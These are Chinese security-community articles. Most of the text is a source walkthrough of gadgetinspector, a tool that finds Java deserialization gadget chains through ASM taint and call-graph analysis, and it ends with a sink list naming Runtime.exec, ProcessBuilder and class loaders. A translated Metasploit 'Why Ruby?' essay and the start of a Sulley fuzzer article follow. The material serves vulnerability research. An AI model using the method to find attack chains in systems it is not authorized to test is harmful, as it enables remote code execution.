第二步，因为方法内部即将调用C.method3，那么ASM调用visitVarInsn方法，对其参数param进行入栈，因为param是引用类型，那么操作代码就是Opcodes.ALOAD，因此，从第一步保存的本地变量表中获取变量入栈
第三步，方法内部调用了C.method3，那么，ASM就会触发visitMethodInsn方法的执行，在这一步，会先对被调用方法的入参进行处理，并把被调用方法的实例放到argTypes的第一个索引位置，后面依次放置其他参数，接着计算返回值大小。然后，因为方法调用，第二步已经把参数入栈了，而这些参数都是从本地变量表获取的，那么，可以从栈顶取到相关参数，并认为这些参数是可被控制，也就是被当前调用者caller方法污染的，最后，也就是最重点的一步，从passthroughDataflow中获取了被调用方法的参数污染结果，也就是C.method3方法被分析时候，return存储的数据，所以，这里就印证了前面为什么要使用逆拓扑排序，因为如果不这样做的话，C.method3可能在B.method2后被分析，那么，缓存就不可能存在污点分析的结果，那么就没办法对B.method2进行正确的污点分析。接着就是对从缓存取出的污染结果和入参对比，取出相应索引的污点参数，放入到resultTaint中
@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
//获取method参数类型
Type[] argTypes = Type.getArgumentTypes(desc);
if (opcode != Opcodes.INVOKESTATIC) {
//如果执行的非静态方法，则把数组第一个元素类型设置为该实例对象的类型，类比局部变量表
Type[] extendedArgTypes = new Type[argTypes.length+1];
System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length);
extendedArgTypes[0] = Type.getObjectType(owner);
argTypes = extendedArgTypes;
}
//获取返回值类型大小
int retSize = Type.getReturnType(desc).getSize();
Set<Integer> resultTaint;
switch (opcode) {
case Opcodes.INVOKESTATIC://调用静态方法
case Opcodes.INVOKEVIRTUAL://调用实例方法
case Opcodes.INVOKESPECIAL://调用超类构造方法，实例初始化方法，私有方法
case Opcodes.INVOKEINTERFACE://调用接口方法
//todo 1 构造污染参数集合，方法调用前先把操作数入栈
final List<Set<Integer>> argTaint = new ArrayList<Set<Integer>>(argTypes.length);
for (int i = 0; i < argTypes.length; i++) {
argTaint.add(null);
}
int stackIndex = 0;
for (int i = 0; i < argTypes.length; i++) {
Type argType = argTypes[i];
if (argType.getSize() > 0) {
//根据参数类型大小，从栈底获取入参，参数入栈是从右到左的
argTaint.set(argTypes.length - 1 - i, getStackTaint(stackIndex + argType.getSize() - 1));
}
stackIndex += argType.getSize();
}
//todo 2 构造方法的调用，意味参数0可以污染返回值
if (name.equals("<init>")) {
// Pass result taint through to original taint set; the initialized object is directly tainted by
// parameters
resultTaint = argTaint.get(0);
} else {
resultTaint = new HashSet<>();
}
//todo 3 前面已做逆拓扑，调用链最末端最先被visit，因此，调用到的方法必然已被visit分析过
Set<Integer> passthrough = passthroughDataflow.get(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc));
if (passthrough != null) {
for (Integer passthroughDataflowArg : passthrough) {
//判断是否和同一方法体内的其它方法返回值关联，有关联则添加到栈底，等待执行return时保存
resultTaint.addAll(argTaint.get(passthroughDataflowArg));
}
}
break;
default:
throw new IllegalStateException("Unsupported opcode: " + opcode);
}
super.visitMethodInsn(opcode, owner, name, desc, itf);
if (retSize > 0) {
getStackTaint(retSize-1).addAll(resultTaint);
}
}
}
第四步，接着执行return，跟前面一样，保存到passthroughDataflow
* main：最后需要分析的是main方法的入参args是否会污染到其返回值
public String main(String args) throws IOException {
String cmd = new A().method1(args);
return new B().method2(cmd);
}
按照上面A.method1、B.method2、C.method3的参数污染分析结果，很明显在观察main方法的时候
第一步，执行visitCode存储入参到本地变量表
第二步，执行visitVarInsn参数入栈
第三步，执行visitMethodInsn调用A.method1，A.method1被污染的返回结果，也就是参数索引会被放在栈顶
第四步，执行visitVarInsn把放在栈顶的污染参数索引，放入到本地变量表
第五步，执行visitVarInsn参数入
第六步，执行visitMethodInsn调用B.method2，被污染的返回结果会被放在栈顶
第七步，执行visitInsn，返回栈顶数据，缓存到passthroughDataflow，也就是main方法的污点分析结果
到此，ASM实现方法入参污染返回值的分析就到此为止了。
接下来，passthroughDiscovery.save方法就被调用
public void save() throws IOException {
if (passthroughDataflow == null) {
throw new IllegalStateException("Save called before discover()");
}
DataLoader.saveData(Paths.get("passthrough.dat"), new PassThroughFactory(), passthroughDataflow.entrySet());
}
也是通过DataLoader.saveData把结果一行一行的保存到passthrough.dat文件中，而每行数据的序列化，是通过PassThroughFactory实现
public static class PassThroughFactory implements DataFactory<Map.Entry<MethodReference.Handle, Set<Integer>>> {
...
@Override
public String[] serialize(Map.Entry<MethodReference.Handle, Set<Integer>> entry) {
if (entry.getValue().size() == 0) {
return null;
}
final String[] fields = new String[4];
fields[0] = entry.getKey().getClassReference().getName();
fields[1] = entry.getKey().getName();
fields[2] = entry.getKey().getDesc();
StringBuilder sb = new StringBuilder();
for (Integer arg : entry.getValue()) {
sb.append(Integer.toString(arg));
sb.append(",");
}
fields[3] = sb.toString();
return fields;
}
}
最终，这一阶段分析保存下来passthrough.dat文件的数据格式：
类名 方法名 方法描述 能污染返回值的参数索引1,能污染返回值的参数索引2,能污染返回值的参数索引3...
### 0x05 方法调用关联-CallGraphDiscovery
在这一阶段，会进行对方法调用关联的分析，也就是方法调用者caller和方法被调用者target直接的参数关联
举个例子描述：
public class Main {
public void main(String args) throws IOException {
String cmd = new A().method1(args);
}
}
class A {
public String method1(String param) {
return param;
}
}
在经过这个阶段，能得到的数据：
调用者类名 调用者方法caller 调用者方法描述 被调用者类名 被调用者方法target 被调用者方法描述 调用者方法参数索引 调用者字段名 被调用者方法参数索引
Main (Ljava/lang/String;)V main A method1 (Ljava/lang/String;)Ljava/lang/String; 1 1
跟回代码，gadgetinspector.CallGraphDiscovery#discover：
加载了前面几个阶段分析处理的数据
//加载所有方法信息
Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();
//加载所有类信息
Map<ClassReference.Handle, ClassReference> classMap = DataLoader.loadClasses();
//加载所有父子类、超类、实现类关系
InheritanceMap inheritanceMap = InheritanceMap.load();
//加载所有方法参数和返回值的污染关联
Map<MethodReference.Handle, Set<Integer>> passthroughDataflow = PassthroughDiscovery.load();
接着遍历每一个class，并对其使用ASM进行观察
SerializableDecider serializableDecider = config.getSerializableDecider(methodMap, inheritanceMap);
for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {
try (InputStream in = classResource.getInputStream()) {
ClassReader cr = new ClassReader(in);
try {
cr.accept(new ModelGeneratorClassVisitor(classMap, inheritanceMap, passthroughDataflow, serializableDecider, Opcodes.ASM6),
ClassReader.EXPAND_FRAMES);
} catch (Exception e) {
LOGGER.error("Error analyzing: " + classResource.getName(), e);
}
}
}
ModelGeneratorClassVisitor的实现没什么重点的逻辑，主要就是对每一个方法都进行了ASM的观察
private class ModelGeneratorClassVisitor extends ClassVisitor {
private final Map<ClassReference.Handle, ClassReference> classMap;
private final InheritanceMap inheritanceMap;
private final Map<MethodReference.Handle, Set<Integer>> passthroughDataflow;
private final SerializableDecider serializableDecider;
...
@Override
public MethodVisitor visitMethod(int access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
ModelGeneratorMethodVisitor modelGeneratorMethodVisitor = new ModelGeneratorMethodVisitor(classMap,
inheritanceMap, passthroughDataflow, serializableDecider, api, mv, this.name, access, name, desc, signature, exceptions);
return new JSRInlinerAdapter(modelGeneratorMethodVisitor, access, name, desc, signature, exceptions);
}
...
}
ModelGeneratorMethodVisitor的实现，是这一步的重点逻辑所在，因为单单文字描述可能理解不太清楚，我这边继续以一个例子进行讲解：
public class Main {
private String name;
public void main(String args) throws IOException {
new A().method1(args, name);
}
}
class A {
public String method1(String param, String param2) {
return param + param2;
}
}
可以看到上述例子中，Main的main方法中，调用了A.main1方法，并且入参是main的参数args以及Main的字段name
ASM的实现流程：
* 在Main.main方法体被观察到的第一时间，ASM会调用ModelGeneratorMethodVisitor.visitCode，在这个方法中，根据参数的数量，一一形成名称arg0、arg1...，然后放入到本地变量表
@Override
public void visitCode() {
super.visitCode();
int localIndex = 0;
int argIndex = 0;
//使用arg前缀来表示方法入参，后续用于判断是否为目标调用方法的入参
if ((this.access & Opcodes.ACC_STATIC) == 0) {
setLocalTaint(localIndex, "arg" + argIndex);
localIndex += 1;
argIndex += 1;
}
for (Type argType : Type.getArgumentTypes(desc)) {
setLocalTaint(localIndex, "arg" + argIndex);
localIndex += argType.getSize();
argIndex += 1;
}
}
* 接着，因为即将要调用A.method1，ASM会调用visitVarInsn，把刚刚放入到本地变量表的arg0入栈
@Override
public void visitVarInsn(int opcode, int var) {
// Extend local variable state to make sure we include the variable index
for (int i = savedVariableState.localVars.size(); i <= var; i++) {
savedVariableState.localVars.add(new HashSet<T>());
}
Set<T> saved0;
switch(opcode) {
case Opcodes.ILOAD:
case Opcodes.FLOAD:
push();
break;
case Opcodes.LLOAD:
case Opcodes.DLOAD:
push();
push();
break;
case Opcodes.ALOAD:
push(savedVariableState.localVars.get(var));
break;
case Opcodes.ISTORE:
case Opcodes.FSTORE:
pop();
savedVariableState.localVars.set(var, new HashSet<T>());
break;
case Opcodes.DSTORE:
case Opcodes.LSTORE:
pop();
pop();
savedVariableState.localVars.set(var, new HashSet<T>());
break;
case Opcodes.ASTORE:
saved0 = pop();
savedVariableState.localVars.set(var, saved0);
break;
case Opcodes.RET:
// No effect on stack
break;
default:
throw new IllegalStateException("Unsupported opcode: " + opcode);
}
super.visitVarInsn(opcode, var);
sanityCheck();
}
* 然后，ASM调用visitVarInsn把当前实例对应的参数入栈，上一步visitCode已经把实例命名为arg0存在本地变量表中，因此入栈的参数名称为arg0，截止调用visitFieldInsn获取字段name，并命名为arg0.name入栈
@Override
public void visitFieldInsn(int opcode, String owner, String name, String desc) {
switch (opcode) {
case Opcodes.GETSTATIC:
break;
case Opcodes.PUTSTATIC:
break;
case Opcodes.GETFIELD://入操作栈
Type type = Type.getType(desc);
if (type.getSize() == 1) {
Boolean isTransient = null;
// If a field type could not possibly be serialized, it's effectively transient
if (!couldBeSerialized(serializableDecider, inheritanceMap, new ClassReference.Handle(type.getInternalName()))) {
isTransient = Boolean.TRUE;
} else {
ClassReference clazz = classMap.get(new ClassReference.Handle(owner));
while (clazz != null) {
for (ClassReference.Member member : clazz.getMembers()) {
if (member.getName().equals(name)) {
isTransient = (member.getModifiers() & Opcodes.ACC_TRANSIENT) != 0;
break;
}
}
if (isTransient != null) {
break;
}
clazz = classMap.get(new ClassReference.Handle(clazz.getSuperClass()));
}
}
Set<String> newTaint = new HashSet<>();
if (!Boolean.TRUE.equals(isTransient)) {
for (String s : getStackTaint(0)) {
newTaint.add(s + "." + name);
}
}
super.visitFieldInsn(opcode, owner, name, desc);
//在调用方法前，都会先入栈，作为参数
setStackTaint(0, newTaint);
return;
}
break;
case Opcodes.PUTFIELD:
break;
default:
throw new IllegalStateException("Unsupported opcode: " + opcode);
}
super.visitFieldInsn(opcode, owner, name, desc);
}
* 最后ASM调用visitMethodInsn，因为Main.main调用了A.method1，在这里个环境，清楚的用代码解释了为什么前面需要把参数命名为arg0、arg1、arg0.name这样，因为需要通过这样的一个字符串名称，和被调用方法的入参进行关联，并最终形成调用者和被调用者直接的参数关联
@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
//获取被调用method的参数和类型，非静态方法需要把实例类型放在第一个元素
Type[] argTypes = Type.getArgumentTypes(desc);
if (opcode != Opcodes.INVOKESTATIC) {
Type[] extendedArgTypes = new Type[argTypes.length+1];
System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length);
extendedArgTypes[0] = Type.getObjectType(owner);
argTypes = extendedArgTypes;
}
switch (opcode) {
case Opcodes.INVOKESTATIC:
case Opcodes.INVOKEVIRTUAL:
case Opcodes.INVOKESPECIAL:
case Opcodes.INVOKEINTERFACE:
int stackIndex = 0;
for (int i = 0; i < argTypes.length; i++) {
//最右边的参数，就是最后入栈，即在栈顶
int argIndex = argTypes.length-1-i;
Type type = argTypes[argIndex];
//操作数栈出栈，调用方法前，参数都已入栈
Set<String> taint = getStackTaint(stackIndex);
if (taint.size() > 0) {
for (String argSrc : taint) {
//取出出栈的参数，判断是否为当前方法的入参，arg前缀
if (!argSrc.substring(0, 3).equals("arg")) {
throw new IllegalStateException("Invalid taint arg: " + argSrc);
}
int dotIndex = argSrc.indexOf('.');
int srcArgIndex;
String srcArgPath;
if (dotIndex == -1) {
srcArgIndex = Integer.parseInt(argSrc.substring(3));
srcArgPath = null;
} else {
srcArgIndex = Integer.parseInt(argSrc.substring(3, dotIndex));
srcArgPath = argSrc.substring(dotIndex+1);
}
//记录参数流动关系
//argIndex：当前方法参数索引，srcArgIndex：对应上一级方法的参数索引
discoveredCalls.add(new GraphCall(
new MethodReference.Handle(new ClassReference.Handle(this.owner), this.name, this.desc),
new MethodReference.Handle(new ClassReference.Handle(owner), name, desc),
srcArgIndex,
srcArgPath,
argIndex));
}
}
stackIndex += type.getSize();
}
break;
default:
throw new IllegalStateException("Unsupported opcode: " + opcode);
}
super.visitMethodInsn(opcode, owner, name, desc, itf);
}
}
到此，gadgetinspector.CallGraphDiscovery#discover方法就结束了，然后执行gadgetinspector.CallGraphDiscovery#save对调用者-被调用者参数关系数据进行保存到callgraph.dat文件，其中数据的序列化输出格式，由GraphCall.Factory实现
public static class Factory implements DataFactory<GraphCall> {
...
@Override
public String[] serialize(GraphCall obj) {
return new String[]{
obj.callerMethod.getClassReference().getName(), obj.callerMethod.getName(), obj.callerMethod.getDesc(),
obj.targetMethod.getClassReference().getName(), obj.targetMethod.getName(), obj.targetMethod.getDesc(),
Integer.toString(obj.callerArgIndex),
obj.callerArgPath,
Integer.toString(obj.targetArgIndex),
};
}
}
数据格式：
调用者类名 调用者方法caller 调用者方法描述 被调用者类名 被调用者方法target 被调用者方法描述 调用者方法参数索引 调用者字段名 被调用者方法参数索引
Main (Ljava/lang/String;)V main A method1 (Ljava/lang/String;)Ljava/lang/String; 1 1
### 0x06 利用链入口搜索-SourceDiscovery
在这一个阶段中，会扫描所有的class，把符合，也就是可被反序列化并且可以在反序列化执行的方法，全部查找出来，因为没有这样的入口，就算存在执行链，也没办法通过反序列化的时候进行触发。
因为入口的触发，不同的反序列化方式会存在不同是实现，因此，在gadgetinspector中，存在着多个SourceDiscovery的实现，有jackson的，java原生序列化的等等，我这里主要以jackson的SourceDiscovery实现开始分析。
先看SourceDiscovery抽象类：
public abstract class SourceDiscovery {
private final List<Source> discoveredSources = new ArrayList<>();
protected final void addDiscoveredSource(Source source) {
discoveredSources.add(source);
}
public void discover() throws IOException {
Map<ClassReference.Handle, ClassReference> classMap = DataLoader.loadClasses();
Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();
InheritanceMap inheritanceMap = InheritanceMap.load();
discover(classMap, methodMap, inheritanceMap);
}
public abstract void discover(Map<ClassReference.Handle, ClassReference> classMap,
Map<MethodReference.Handle, MethodReference> methodMap,
InheritanceMap inheritanceMap);
public void save() throws IOException {
DataLoader.saveData(Paths.get("sources.dat"), new Source.Factory(), discoveredSources);
}
}
可以看到，它的discover实现中，加载了所以的类、方法、继承实现关系数据，接着调用抽象方法discover，然后，我们跟进jackson的具体实现中
public class JacksonSourceDiscovery extends SourceDiscovery {
@Override
public void discover(Map<ClassReference.Handle, ClassReference> classMap,
Map<MethodReference.Handle, MethodReference> methodMap,
InheritanceMap inheritanceMap) {
final JacksonSerializableDecider serializableDecider = new JacksonSerializableDecider(methodMap);
for (MethodReference.Handle method : methodMap.keySet()) {
if (serializableDecider.apply(method.getClassReference())) {
if (method.getName().equals("<init>") && method.getDesc().equals("()V")) {
addDiscoveredSource(new Source(method, 0));
}
if (method.getName().startsWith("get") && method.getDesc().startsWith("()")) {
addDiscoveredSource(new Source(method, 0));
}
if (method.getName().startsWith("set") && method.getDesc().matches("\\(L[^;]*;\\)V")) {
addDiscoveredSource(new Source(method, 0));
}
}
}
}
}
从上述代码可以看出，实现非常之简单，只是判断了方法：
1. 是否无参构造方法
2. 是否getter方法
3. 是否setter方法
为什么对于source会做这样的判断？因为对于jackson的反序列化，在其反序列化时，必须通过无参构造方法反序列化（没有则会反序列化失败），并且会根据一定情况调用其反序列化对象的getter、setter方法
在扫描所有的方法后，具备条件的method都会被添加到gadgetinspector.SourceDiscovery#discoveredSources中，并最后通过gadgetinspector.SourceDiscovery#save保存
public void save() throws IOException {
DataLoader.saveData(Paths.get("sources.dat"), new Source.Factory(), discoveredSources);
}
保存数据的序列化实现由Source.Factory实现
public static class Factory implements DataFactory<Source> {
...
@Override
public String[] serialize(Source obj) {
return new String[]{
obj.sourceMethod.getClassReference().getName(), obj.sourceMethod.getName(), obj.sourceMethod.getDesc(),
Integer.toString(obj.taintedArgIndex),
};
}
}
最终输出到sources.dat文件的数据形式：
类名 方法名 方法描述 污染参数索引
### 0x07 最终挖掘阶段-GadgetChainDiscovery
这个阶段，是gadgetinspector自动化挖掘gadget
chain的最终阶段，该阶段利用前面获取到的所有数据，从source到slink进行整合分析，最终判断slink，确定是否有效的gadget chain。
分析gadgetinspector.GadgetChainDiscovery#discover代码：
加载所有的方法数据以及继承实现关系数据
Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();
InheritanceMap inheritanceMap = InheritanceMap.load();
#### 重写方法的扫描
获取方法的所有实现，这是什么意思呢？因为java的继承特性，对于一个父类，它的方法实现，可以通过子孙类进行重写覆盖，为什么要这样做呢？因为多态特性，实现类只有运行时可确定，因此，需要对其所有重写实现都形成分析链，就能确保在非运行时，做到gadget
chain的挖掘
Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap = InheritanceDeriver.getAllMethodImplementations(
inheritanceMap, methodMap);
分析InheritanceDeriver.getAllMethodImplementations代码：
1. 获取类->方法集
//遍历整合，得到每个类的所有方法实现，形成 类->实现的方法集 的映射
Map<ClassReference.Handle, Set<MethodReference.Handle>> methodsByClass = new HashMap<>();
for (MethodReference.Handle method : methodMap.keySet()) {
ClassReference.Handle classReference = method.getClassReference();
if (!methodsByClass.containsKey(classReference)) {
Set<MethodReference.Handle> methods = new HashSet<>();
methods.add(method);
methodsByClass.put(classReference, methods);
} else {
methodsByClass.get(classReference).add(method);
}
}
1. 获取父类->子孙类集
//遍历继承关系数据，形成 父类->子孙类集 的映射
Map<ClassReference.Handle, Set<ClassReference.Handle>> subClassMap = new HashMap<>();
for (Map.Entry<ClassReference.Handle, Set<ClassReference.Handle>> entry : inheritanceMap.entrySet()) {
for (ClassReference.Handle parent : entry.getValue()) {
if (!subClassMap.containsKey(parent)) {
Set<ClassReference.Handle> subClasses = new HashSet<>();
subClasses.add(entry.getKey());
subClassMap.put(parent, subClasses);
} else {
subClassMap.get(parent).add(entry.getKey());
}
}
}
1. 遍历每个方法，并通过查询方法类的子孙类的方法实现，确定重写方法，最后整合成 方法->重写的方法集 的映射集合，静态方法跳过，因为静态方法是不可被重写的
Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap = new HashMap<>();
for (MethodReference method : methodMap.values()) {
// Static methods cannot be overriden
if (method.isStatic()) {
continue;
}
Set<MethodReference.Handle> overridingMethods = new HashSet<>();
Set<ClassReference.Handle> subClasses = subClassMap.get(method.getClassReference());
if (subClasses != null) {
for (ClassReference.Handle subClass : subClasses) {
// This class extends ours; see if it has a matching method
Set<MethodReference.Handle> subClassMethods = methodsByClass.get(subClass);
if (subClassMethods != null) {
for (MethodReference.Handle subClassMethod : subClassMethods) {
if (subClassMethod.getName().equals(method.getName()) && subClassMethod.getDesc().equals(method.getDesc())) {
overridingMethods.add(subClassMethod);
}
}
}
}
}
if (overridingMethods.size() > 0) {
methodImplMap.put(method.getHandle(), overridingMethods);
}
}
#### 保存方法重写数据
回到gadgetinspector.GadgetChainDiscovery#discover中，接着，对扫描到的重写方法数据进行保存
try (Writer writer = Files.newBufferedWriter(Paths.get("methodimpl.dat"))) {
for (Map.Entry<MethodReference.Handle, Set<MethodReference.Handle>> entry : methodImplMap.entrySet()) {
writer.write(entry.getKey().getClassReference().getName());
writer.write("\t");
writer.write(entry.getKey().getName());
writer.write("\t");
writer.write(entry.getKey().getDesc());
writer.write("\n");
for (MethodReference.Handle method : entry.getValue()) {
writer.write("\t");
writer.write(method.getClassReference().getName());
writer.write("\t");
writer.write(method.getName());
writer.write("\t");
writer.write(method.getDesc());
writer.write("\n");
}
}
}
保存的数据格式：
类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
#### 整合方法调用关联数据
在前面阶段中，扫描出来的方法调用参数关联数据，都是独立的，也就是说，例如：
public class Main {
private String name;
public void main(String args) throws IOException {
new A().method1(args, name);
new A().method2(args, name);
}
}
class A {
public String method1(String param, String param2) {
return param + param2;
}
public String method2(String param, String param2) {
return param + param2;
}
}
形成的方法调用参数关联数据：
Main (Ljava/lang/String;)V main A method1 (Ljava/lang/String;)Ljava/lang/String; 1 1
Main (Ljava/lang/String;)V main A method2 (Ljava/lang/String;)Ljava/lang/String; 1 1
上面形成的数据是分为了两条独立的数据，在统一的分析中，不太利于分析，因此，对其进行了整合，因为对于这两条记录来说，其都是Main.main发起的方法调用
整合代码：
Map<MethodReference.Handle, Set<GraphCall>> graphCallMap = new HashMap<>();
for (GraphCall graphCall : DataLoader.loadData(Paths.get("callgraph.dat"), new GraphCall.Factory())) {
MethodReference.Handle caller = graphCall.getCallerMethod();
if (!graphCallMap.containsKey(caller)) {
Set<GraphCall> graphCalls = new HashSet<>();
graphCalls.add(graphCall);
graphCallMap.put(caller, graphCalls);
} else {
graphCallMap.get(caller).add(graphCall);
}
}
#### gadget chain的初始化
Set<GadgetChainLink> exploredMethods = new HashSet<>();
LinkedList<GadgetChain> methodsToExplore = new LinkedList<>();
for (Source source : DataLoader.loadData(Paths.get("sources.dat"), new Source.Factory())) {
GadgetChainLink srcLink = new GadgetChainLink(source.getSourceMethod(), source.getTaintedArgIndex());
if (exploredMethods.contains(srcLink)) {
continue;
}
methodsToExplore.add(new GadgetChain(Arrays.asList(srcLink)));
exploredMethods.add(srcLink);
}
上述代码中，加载了sources.dat文件的数据，这些数据我们前面分析过，都是利用链入口，在被反序列化的时候可被触发执行的方法
private static class GadgetChainLink {
private final MethodReference.Handle method;
private final int taintedArgIndex;
private GadgetChainLink(MethodReference.Handle method, int taintedArgIndex) {
this.method = method;
this.taintedArgIndex = taintedArgIndex;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
GadgetChainLink that = (GadgetChainLink) o;
if (taintedArgIndex != that.taintedArgIndex) return false;
return method != null ? method.equals(that.method) : that.method == null;
}
@Override
public int hashCode() {
int result = method != null ? method.hashCode() : 0;
result = 31 * result + taintedArgIndex;
return result;
}
}
最后形成gadget chain的初始化工作
#### 遍历初始化后的gadget chain集合
gadget chain取出，进行链可利用的判断
GadgetChain chain = methodsToExplore.pop();
获取链的最后一个方法
GadgetChainLink lastLink = chain.links.get(chain.links.size()-1);
获取最后一个方法调用到的所有方法
Set<GraphCall> methodCalls = graphCallMap.get(lastLink.method);
遍历调用到的方法，若方法不能被污染传递，则跳过
for (GraphCall graphCall : methodCalls) {
if (graphCall.getCallerArgIndex() != lastLink.taintedArgIndex) {
continue;
}
...
}
获取被调用方法的所有重写方法
Set<MethodReference.Handle> allImpls = implementationFinder.getImplementations(graphCall.getTargetMethod());
遍历所有重写方法，并加入链的最后一节，若已存在的链，为了避免死循环，因此会跳过
for (MethodReference.Handle methodImpl : allImpls) {
GadgetChainLink newLink = new GadgetChainLink(methodImpl, graphCall.getTargetArgIndex());
if (exploredMethods.contains(newLink)) {
continue;
}
GadgetChain newChain = new GadgetChain(chain, newLink);
判断是否到了slink，若已到，则表示这条链可用，并缓存到discoveredGadgets中，若还没到slink，则把newChain加到集合中，随着下一次循环到的时候，再次分析下一层的调用
if (isSink(methodImpl, graphCall.getTargetArgIndex(), inheritanceMap)) {
discoveredGadgets.add(newChain);
} else {
methodsToExplore.add(newChain);
exploredMethods.add(newLink);
}
slink的判断：
private boolean isSink(MethodReference.Handle method, int argIndex, InheritanceMap inheritanceMap) {
if (method.getClassReference().getName().equals("java/io/FileInputStream")
&& method.getName().equals("<init>")) {
return true;
}
if (method.getClassReference().getName().equals("java/io/FileOutputStream")
&& method.getName().equals("<init>")) {
return true;
}
if (method.getClassReference().getName().equals("java/nio/file/Files")
&& (method.getName().equals("newInputStream")
|| method.getName().equals("newOutputStream")
|| method.getName().equals("newBufferedReader")
|| method.getName().equals("newBufferedWriter"))) {
return true;
}
if (method.getClassReference().getName().equals("java/lang/Runtime")
&& method.getName().equals("exec")) {
return true;
}
/*
if (method.getClassReference().getName().equals("java/lang/Class")
&& method.getName().equals("forName")) {
return true;
}
if (method.getClassReference().getName().equals("java/lang/Class")
&& method.getName().equals("getMethod")) {
return true;
}
*/
// If we can invoke an arbitrary method, that's probably interesting (though this doesn't assert that we
// can control its arguments). Conversely, if we can control the arguments to an invocation but not what
// method is being invoked, we don't mark that as interesting.
if (method.getClassReference().getName().equals("java/lang/reflect/Method")
&& method.getName().equals("invoke") && argIndex == 0) {
return true;
}
if (method.getClassReference().getName().equals("java/net/URLClassLoader")
&& method.getName().equals("newInstance")) {
return true;
}
if (method.getClassReference().getName().equals("java/lang/System")
&& method.getName().equals("exit")) {
return true;
}
if (method.getClassReference().getName().equals("java/lang/Shutdown")
&& method.getName().equals("exit")) {
return true;
}
if (method.getClassReference().getName().equals("java/lang/Runtime")
&& method.getName().equals("exit")) {
return true;
}
if (method.getClassReference().getName().equals("java/nio/file/Files")
&& method.getName().equals("newOutputStream")) {
return true;
}
if (method.getClassReference().getName().equals("java/lang/ProcessBuilder")
&& method.getName().equals("<init>") && argIndex > 0) {
return true;
}
if (inheritanceMap.isSubclassOf(method.getClassReference(), new ClassReference.Handle("java/lang/ClassLoader"))
&& method.getName().equals("<init>")) {
return true;
}
if (method.getClassReference().getName().equals("java/net/URL") && method.getName().equals("openStream")) {
return true;
}
// Some groovy-specific sinks
if (method.getClassReference().getName().equals("org/codehaus/groovy/runtime/InvokerHelper")
&& method.getName().equals("invokeMethod") && argIndex == 1) {
return true;
}
if (inheritanceMap.isSubclassOf(method.getClassReference(), new ClassReference.Handle("groovy/lang/MetaClass"))
&& Arrays.asList("invokeMethod", "invokeConstructor", "invokeStaticMethod").contains(method.getName())) {
return true;
}
return false;
}
至此，整个gadgetinspector的源码浅析就结束，祝大家阅读愉快，新年将至，提前说声新年快乐！ | 社区文章 |
* * *
> 原文地址：<https://github.com/rapid7/metasploit-framework/wiki/Why-Ruby%3F>
译者：王一航 & [Google](https://translate.google.com) 2018-05-14
校对：王一航 2018-05-14
* * *
以下写于大约 2005 年左右
在整个框架的开发过程中，Metasploit 员工不断被问到的一个反复出现的问题是为什么选择 Ruby
作为编程语言。为了不再单独为提问者回答这个问题，作者选择在本文中解释原因。
由于多种原因，Ruby 编程语言被选中而不是例如 Python，Perl 或者 C++。
> Ruby 被选中的第一个（也是最主要的）原因是因为它是 Metasploit 员工喜欢写的一种语言。
花费时间分析其他语言并考虑过去的经验后，我们发现 Ruby 编程语言作为解释型语言它提供了一种简单而强大的方法。
Ruby 的面向对象的特性和内省机制 (译者注: 类似于 Java 的反射 ( Reflection ) 机制) 可以非常好的适应框架开发的需求。
框架对于代码重用自动化类构建的需求是是决策过程中的关键因素，并且，这也是 perl 为什么不是特别适合这个需求的原因之一。
除此之外，在提供相同级别的语言特性的条件下（例如: Perl 语言），Ruby 的语法简单的特性就显得更重要了。
> Ruby 被选中的第二个原因是因为其独立于平台的线程支持。
尽管在该模型下框架的开发过程中遇到了一些限制，但 Metasploit 的工作人员已经观察到在 2.x 分支上有显着的性能和可用性改进的余地。
未来版本的Ruby（1.9系列）将使用针对操作系统的本地线程来支持现有的线程API，解释器将针对该操作系统编译，这将解决当前实现中存在的一些问题（例如允许使用阻塞操作）。
与此同时，现有的线程模型与传统的分支模型相比，已经要优越得多，特别是在缺乏原生 fork 实现的平台上（例如：Windows）。
> 另一个选择 Ruby 的原因是：
选择 Ruby 的另一个原因是因为 Windows 平台支持原生解释器。 虽然 Perl 有一个 Cygwin 版本和一个 ActiveState
版本，但都受到可用性问题的困扰。 Ruby 解释器可以在 Windows 上本地编译和执行大大提高了性能。 此外，解释器也非常小，可以在出现错误时轻松修改。
* Python 编程语言也是一种语言候选。
Metasploit 员工选择 Ruby 而不是 Python 的原因是由于几个不同的原因。 主要原因是对 Python
强制的某些语法上的烦恼感到普遍的厌恶，比如块缩进（译者注：block-indention）。虽然很多人会认为这种方法的好处，但 Metasploit
的一些工作人员认为这是一个不必要的限制。 Python 的其他问题在于：
* 父类方法调用的限制
* 解释器的向后兼容性。
* C/C++ 编程语言也曾将被非常慎重地考虑
但最终很明显，尝试以非解释型语言部署 **便携式** 和 **可用** 框架并不合适。
> 此外：这种语言选择的开发时间线很可能会长得多。
尽管框架的 2.x 分支已经非常成功，但 Metasploit 的工作人员遇到了许多限制，并且对 perl 的面向对象编程模型感到烦恼，或者缺乏某些限制。
尽管 perl 解释器是许多发行版默认安装的一部分，但是这不是 Metasploit 工作人员认为选择 Perl 来走捷径的原因。
> 最后：这一切都归结为选择一种为框架贡献最大的人所享有的语言，而这个语言最终成为了 Ruby。
#### 资源
* <https://github.com/rapid7/metasploit-framework/blob/master/documentation/developers_guide.pdf>
* <https://dev.metasploit.com/pipermail/framework/2006-October/001325.html> | 社区文章 |
# 前言
Sulley fuzzer的应用2.
原文链接：<https://resources.infosecinstitute.com/fuzzing-vulnserver-with-sulley-part-3/#gref>
